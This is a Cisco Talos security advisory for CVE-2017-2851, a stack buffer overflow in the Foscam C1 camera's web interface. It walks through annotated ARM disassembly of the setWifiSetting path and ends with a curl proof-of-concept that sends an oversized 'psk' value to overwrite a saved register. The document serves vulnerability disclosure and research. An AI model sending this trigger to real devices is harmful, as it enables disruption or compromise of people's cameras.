CVE-2017-2851
An exploitable stack-based buffer overflow vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can cause a buffer overflow resulting in overwriting arbitrary data, potentially resulting in code execution. An attacker can simply send an HTTP request to the device to trigger this vulnerability.
Foscam, Inc. Indoor IP Camera C1 Series System Firmware Version: 1.9.3.17 Application Firmware Version: 2.52.2.37 Web Version: 2.0.1.1 Plug-In Version: 3.3.0.5
7.5 - CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)
Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the ARM architecture. Foscam is considered one of the most common security cameras out on the current market.
When various services are started, a service will first register a callback using the CMsgClient::registerMsgHandle
function [1]. This will register a function to be called [2] when another service dispatches a message of the specified code [3]. An example of this registration process is handled inside the FCGI_Init
function of the “CGIProxy.fcgi” service using the following code:
.text:00009F20 FCGX_Init_1f20
.text:00009F20
.text:00009F20 F0 41 2D E9 STMFD SP!, {R4-R8,LR}
.text:00009F24 41 DE 4D E2 SUB SP, SP, #0x410
.text:00009F28 08 D0 4D E2 SUB SP, SP, #8
.text:00009F2C 05 FC FF EB BL FCGX_Init
.text:00009F2C
.text:00009F30 00 10 50 E2 SUBS R1, R0, #0
.text:00009F34 44 01 9F 15 LDRNE R0, =str.FCGX_Initfailed
.text:00009F38 05 00 00 1A BNE leave_exit_1f54
.text:00009F3C
.text:00009F3C 40 01 9F E5 LDR R0, =gv_theRequest_10b74
.text:00009F40 01 20 A0 E1 MOV R2, R1
.text:00009F44 1A FC FF EB BL FCGX_InitRequest
.text:00009F48
.text:00009F48 00 00 50 E3 CMP R0, #0
.text:00009F4C 03 00 00 0A BEQ loc_9F60
...
.text:00009F60 loc_9F60
.text:00009F60 DB FE FF EB BL registerMsgClients_1ad4 ; \
\
.text:00009AD4 registerMsgClients_1ad4
.text:00009AD4 10 40 2D E9 STMFD SP!, {R4,LR}
.text:00009AD4
.text:00009AD8 30 40 9F E5 LDR R4, =gp_cMsgClient_bac8
.text:00009ADC 30 10 9F E5 LDR R1, =0x40004001 ; [3] code
.text:00009AE0 04 00 A0 E1 MOV R0, R4
.text:00009AE4 2C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38 ; [2] callback function
.text:00009AE8 3D FD FF EB BL CMsgClient::registerMsgHandle(int,void (*)(char const*,int)) ; [1]
.text:00009AE8
.text:00009AEC 04 00 A0 E1 MOV R0, R4
.text:00009AF0 24 10 9F E5 LDR R1, =0x3001
.text:00009AF4 1C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38
.text:00009AF8 39 FD FF EB BL CMsgClient::registerMsgHandle(int,void (*)(char const*,int))
.text:00009AF8
.text:00009AFC 04 00 A0 E1 MOV R0, R4
.text:00009B00 18 10 9F E5 LDR R1, =0x3002
.text:00009B04 0C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38
.text:00009B08 10 40 BD E8 LDMFD SP!, {R4,LR}
.text:00009B0C 34 FD FF EA B CMsgClient::registerMsgHandle(int,void (*)(char const*,int))
After the “CGIProxy.fcgi” service decodes an http request that’s forwarded from the http daemon, the service will copy the decoded query into a buffer on the stack [4]. Once this is done, the buffer will then be used to pass the decoded query to CMsgClient::sendMsg
. This will dispatch the query to the shared messaging subsystem using the code 0x4001 at [5]. At this point, the service that handles the specified code will be woken up to handle the specified request.
.text:00009FA8 14 70 8D E2 ADD R7, SP, #0x430+lv_dest_41c
.text:00009FAC 08 10 A0 E1 MOV R1, R8
.text:00009FB0 07 00 A0 E1 MOV R0, R7
.text:00009FB4 34 FC FF EB BL strcpy ; [4]
.text:00009FB8
.text:00009FB8 08 00 A0 E1 MOV R0, R8
.text:00009FBC C0 FB FF EB BL strlen
.text:00009FC0
.text:00009FC0 CC 30 9F E5 LDR R3, =0x404
.text:00009FC4 00 30 8D E5 STR R3, [SP]
.text:00009FC8 C8 10 9F E5 LDR R1, =0x4001 ; [5]
.text:00009FCC 07 30 A0 E1 MOV R3, R7 ; uri request
.text:00009FD0 01 20 A0 E3 MOV R2, #1
.text:00009FD4 04 40 8D E5 STR R4, [SP,#4]
.text:00009FD8 08 40 8D E5 STR R4, [SP,#8]
.text:00009FDC 0C 40 8D E5 STR R4, [SP,#12]
.text:00009FE0 14 04 8D E5 STR R0, [SP,#0x430+var_1C]
.text:00009FE4 B0 00 9F E5 LDR R0, =gp_cMsgClient_bac8
.text:00009FE8 CD FB FF EB BL CMsgClient::sendMsg(int,char,char const*,int,int,int,char *)
The handler for code 0x4001 is in the “webService” binary and is done by the function executeCGICmd
at address 0x1e5a4. At the beginning of this function, the service will call a function [6] that’s responsible for extracting the user name, password, and command that was specified within the user’s query. Once the parameters have been extracted and copied into a local buffer on the stack, the command will be passed to the function call at [7] in order to determine the correct command function which is stored to funcptr
. If authentication is not required for the command, then the branch at [8] will execute the function pointer returned by findJsonCallbackCommand
at [7]. If authentication is required from the command, then the user name and password will be checked via strcmp
and then the function call at [9] will execute the function pointer.
.text:0001E5A4 executeCGICmd
.text:0001E5A4
.text:0001E5A4 F0 41 2D E9 STMFD SP!, {R4-R8,LR}
.text:0001E5A8 28 60 80 E2 ADD R6, R0, #0x28
.text:0001E5AC 11 DD 4D E2 SUB SP, SP, #0x440
.text:0001E5B0 00 80 A0 E1 MOV R8, R0
.text:0001E5B4 06 10 A0 E1 MOV R1, R6
.text:0001E5B8 C4 00 9F E5 LDR R0, =unk_D5A68
.text:0001E5BC 3A 2A 00 EB BL sub_28EAC ; [6]
.text:0001E5C0 00 70 50 E2 SUBS R7, R0, #0
.text:0001E5C4 27 00 00 0A BEQ replyMsg_1E668
.text:00028EAC sub_28EAC
.text:00028EAC
.text:00028EAC F0 47 2D E9 STMFD SP!, {R4-R10,LR}
.text:00028EB0 00 40 51 E2 SUBS R4, R1, #0
.text:00028EB4 00 80 A0 E1 MOV R8, R0
.text:00028EB8 46 DF 4D E2 SUB SP, SP, #0x118
.text:00028EBC 00 00 E0 03 MOVEQ R0, #0xFFFFFFFF
.text:00028EC0 8B 00 00 0A BEQ leaving_290F4
...
.text:00028F4C 00 00 50 E3 CMP R0, #0
.text:00028F50 0C 00 00 1A BNE findCmdCallback_28F88
...
.text:00028F88 findCmdCallback_28F88
.text:00028F88 05 00 A0 E1 MOV R0, R5
.text:00028F8C 45 1F 8D E2 ADD R1, SP, #0x138+lp_funcptr?_24
.text:00028F90 89 FC FF EB BL findJsonCallbackCommand_281BC ; [7]
.text:00028F94 00 90 50 E2 SUBS R9, R0, #0
.text:00028F98 06 00 00 0A BEQ checkIfAuthNeeded_28FB8
...
.text:00028FB8 checkIfAuthNeeded_28FB8
.text:00028FB8 14 31 9D E5 LDR R3, [SP,#0x138+lp_funcptr?_24]
.text:00028FBC 54 21 9F E5 LDR R2, =0xFFFF
.text:00028FC0 08 10 93 E5 LDR R1, [R3,#8]
.text:00028FC4 02 00 51 E1 CMP R1, R2
.text:00028FC8 06 00 00 1A BNE authenticate_28FE8
...
.text:00028FD8 04 00 A0 E1 MOV R0, R4
.text:00028FDC 33 FF 2F E1 BLX R3 ; [8]
.text:00028FE0 09 00 A0 E1 MOV R0, R9
.text:00028FE4 42 00 00 EA B leaving_290F4
...
.text:000290E0 04 00 A0 E1 MOV R0, R4
.text:000290E4 33 FF 2F E1 BLX R3 ; [9]
.text:000290E8 05 00 A0 E1 MOV R0, R5
.text:000290EC 00 00 00 EA B leaving_290F4
...
.text:000290F4 46 DF 8D E2 ADD SP, SP, #0x118
.text:000290F8 F0 87 BD E8 LDMFD SP!, {R4-R10,PC}
When handling the “CGIProxy.fcgi” command “setWifiSetting”, the function setWifiSetting_37a58
will be called. This function is responsible for configuring the Wifi interface. At the beginning several parameters are extracted: “callbackJson”, “isEnable”, “isUseWifi”, “ssid”, “netType”, “encryptType”, “psk” [10], “isNewFormat” [11].
If “isNewFormat” is not null, sub_283A8
will be called [12] passing the “psk” value and a destination buffer as parameters.
.text:0003FA58 setWifiSetting_37a58
.text:0003FA58
.text:0003FA58 000 70 40 2D E9 STMFD SP!, {R4-R6,LR}
...
.text:0003FB30 6F8 16 5D 8D E2 ADD R5, SP, #0x6F8+var_178
.text:0003FB34 6F8 08 50 85 E2 ADD R5, R5, #8
.text:0003FB38 6F8 88 12 9F E5 LDR R1, =str.psk ; [10]
.text:0003FB3C 6F8 05 20 A0 E1 MOV R2, R5
.text:0003FB40 6F8 A8 04 8D E5 STR R0, [SP,#0x6F8+var_250]
.text:0003FB44 6F8 04 00 A0 E1 MOV R0, R4
.text:0003FB48 6F8 BE A1 FF EB BL extract_param
.text:0003FB4C 6F8 78 32 9F E5 LDR R3, =0xC0A
.text:0003FB50 6F8 00 30 8D E5 STR R3, [SP,#0x6F8+var_6F8]
...
.text:0003FB74 6F8 60 12 9F E5 LDR R1, =str.isNewFormat ; [11]
.text:0003FB78 6F8 04 00 A0 E1 MOV R0, R4
.text:0003FB7C 6F8 6E 2E 8D E2 ADD R2, SP, #0x6F8+var_18
.text:0003FB80 6F8 B0 A1 FF EB BL extract_param
.text:0003FB84 6F8 E0 36 DD E5 LDRB R3, [SP,#0x6F8+var_18]
.text:0003FB88 6F8 4A 1E 8D E2 ADD R1, SP, #0x6F8+var_258
.text:0003FB8C 6F8 00 00 53 E3 CMP R3, #0
.text:0003FB90 6F8 0C 10 81 E2 ADD R1, R1, #0xC
.text:0003FB94 6F8 02 00 00 0A BEQ loc_3FBA4
.text:0003FB98 6F8 05 00 A0 E1 MOV R0, R5
.text:0003FB9C 6F8 01 A2 FF EB BL sub_283A8 ; [12]
The “psk” parameter contains the wifi password as comma-separated ascii-values (e.g. “112,119,100” for “pwd”). The purpose of sub_283A8
is to split “psk” on commas and save each numeric value as a character, and then put the resulting password in a buffer (passed as second parameter to the function).
The local variable “src” [13] has a size of 0x100 and is filled with nulls [14]. Another smaller local variable “var_58” is filled with nulls as well [15]. Before starting the tokenization, the “psk” value is copied in the “src” buffer [16] without any constraint of size, leading to a buffer overflow.
.text:000283A8 sub_283A8
.text:000283A8
.text:000283A8 src = -0x15C
.text:000283A8 buf = -0x5C
.text:000283A8 var_58 = -0x58
.text:000283A8 save_ptr = -0x1C
.text:000283A8 var_18 = -0x18
.text:000283A8
.text:000283A8 000 F0 40 2D E9 STMFD SP!, {R4-R7,LR}
.text:000283AC 014 00 70 50 E2 SUBS R7, R0, #0
.text:000283B0 014 53 DF 4D E2 SUB SP, SP, #0x14C
.text:000283B4 160 01 60 A0 E1 MOV R6, R1
.text:000283B8 160 00 00 E0 03 MOVEQ R0, #0xFFFFFFFF
.text:000283BC 160 21 00 00 0A BEQ loc_28448
.text:000283C0 160 04 50 8D E2 ADD R5, SP, #0x160+src ; [13]
.text:000283C4 160 00 40 A0 E3 MOV R4, #0
.text:000283C8 160 00 10 A0 E3 MOV R1, #0
.text:000283CC 160 01 2C A0 E3 MOV R2, #0x100
.text:000283D0 160 05 00 A0 E1 MOV R0, R5
.text:000283D4 160 C3 AA FF EB BL memset ; [14]
.text:000283D8
.text:000283D8 loc_283D8
.text:000283D8 160 04 10 A0 E1 MOV R1, R4
.text:000283DC 160 3C 20 A0 E3 MOV R2, #0x3C
.text:000283E0 160 42 0F 8D E2 ADD R0, SP, #0x160+var_58 ; [15]
.text:000283E4 160 04 41 8D E5 STR R4, [SP,#0x160+buf]
.text:000283E8 160 BE AA FF EB BL memset
.text:000283EC 160 05 00 A0 E1 MOV R0, R5
.text:000283F0 160 07 10 A0 E1 MOV R1, R7
.text:000283F4 160 44 41 8D E5 STR R4, [SP,#0x160+save_ptr]
.text:000283F8 160 5E AC FF EB BL strcpy ; [16]
...
.text:00028448 160 53 DF 8D E2 ADD SP, SP, #0x14C
.text:0002844C 014 F0 80 BD E8 LDMFD SP!, {R4-R7,PC}
This vulnerability is reachable by the “setWifiSetting” command and requires a valid user account with privilege level 2. The following commands trigger the vulnerability overwrites the saved register r4
.
```
$ sUsr="admin"
$ sPwd=""
$ sPsk=$(python2 -c 'print "A"*328+"BBBB"')
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${sUsr}&pwd=${sPwd}&cmd=setWifiSetting&psk=${sPsk}&isNewFormat=${sAddr}"
```
2017-05-30 - Vendor Disclosure
2017-06-19 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.